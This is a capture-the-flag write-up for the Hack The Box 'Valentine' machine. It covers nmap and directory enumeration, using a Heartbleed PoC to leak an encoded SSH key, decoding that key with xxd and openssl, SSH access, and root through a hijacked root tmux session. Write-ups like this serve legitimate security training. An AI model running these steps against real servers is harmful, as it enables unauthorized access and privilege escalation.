General··3 min read

HTB Valentine: Heartbleed to Root via tmux Session Hijack

Heartbleed Vulnerability Analysis (CVE-2014-0160)

tmux Session Hijacking for Root

Begin by adding the target machine IP to /etc/hosts.

nano /etc/hosts
Initial setup output for the Valentine box

sudo nmap -sV -sC valentine.htb

Nmap service and script scan output for the Valentine target

I also conducted an NSE script scan against the vulnerable target.

sudo nmap -sV --script=vuln valentine.htb --max-rate=10000
Nmap scan results showing open ports on Valentine

Meanwhile, directory fuzzing also proved useful.

dirsearch -u http://valentine.htb -w /usr/share/dirb/wordlists/common.txt 
Directory fuzzing results revealing hidden paths on Valentine

Let's check the /dev/ endpoint.

The directory contains two files, so I checked them.

Hidden directory contents with two files on the Valentine web server

In the notes.txt file, the author mentions a mechanism related to a key:

To do:

1) Coffee.
2) Research.
3) Fix decoder/encoder before going live.
4) Make sure encoding/decoding is only done client-side.
5) Don't use the decoder/encoder until any of this is done.
6) Find a better way to take notes.

Since the vulnerability is related to a key, and the Nmap results point to a Heartbleed-related vulnerability - as the default page also implies - I looked into the Heartbleed exploit.

Suspicious file contents found during Valentine enumeration

I discovered a GitHub repo containing the related vulnerability PoC.

HeartBleed Exploit

Using the exploit as follows:

python2 heartbleed-poc.py 10.129.232.136 80

I was not able to run it via python3, so it most likely only works with Python 2.

The heartbeat response revealed a Base64-encoded string referencing decode.php.

Heartbleed vulnerability exploitation output on Valentine
$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==

CyberChef automatically decoded the text.

Decoded text output from the extracted Valentine data

I could not identify the format, so I passed it through DenCode.

DenCode

DenCode decoder output for the extracted Valentine string

Now it is clear that the hexadecimal encoding reveals an SSH private key, but it still did not work directly.

Decoding HEX

Therefore, I used the following techniques to extract the SSH key.

DECODE HEX

xxd -p -r encoded_data.txt out.txt

# MAKE THE key CLEAR

openssl rsa -in out.txt -out clean_key

Then I used the extracted key to authenticate via SSH.

ssh -i clean_key hype@valentine.htb
SSH authentication using the extracted RSA key

Initially, I could not find a privilege escalation vector. I transferred linpeas.sh to the target to enumerate further.

SSH session established on Valentine for further enumeration
Terminal output showing enumeration commands on Valentine

In the linpeas.sh results, a tmux session was found running as root:

tmux session list showing a session running as root on Valentine
/usr/bin/tmux -S /.devs/dev_sess

Running the binary directly with the -S flag attaches to the root session.

Root flag captured by attaching to the hijacked tmux session

Related Posts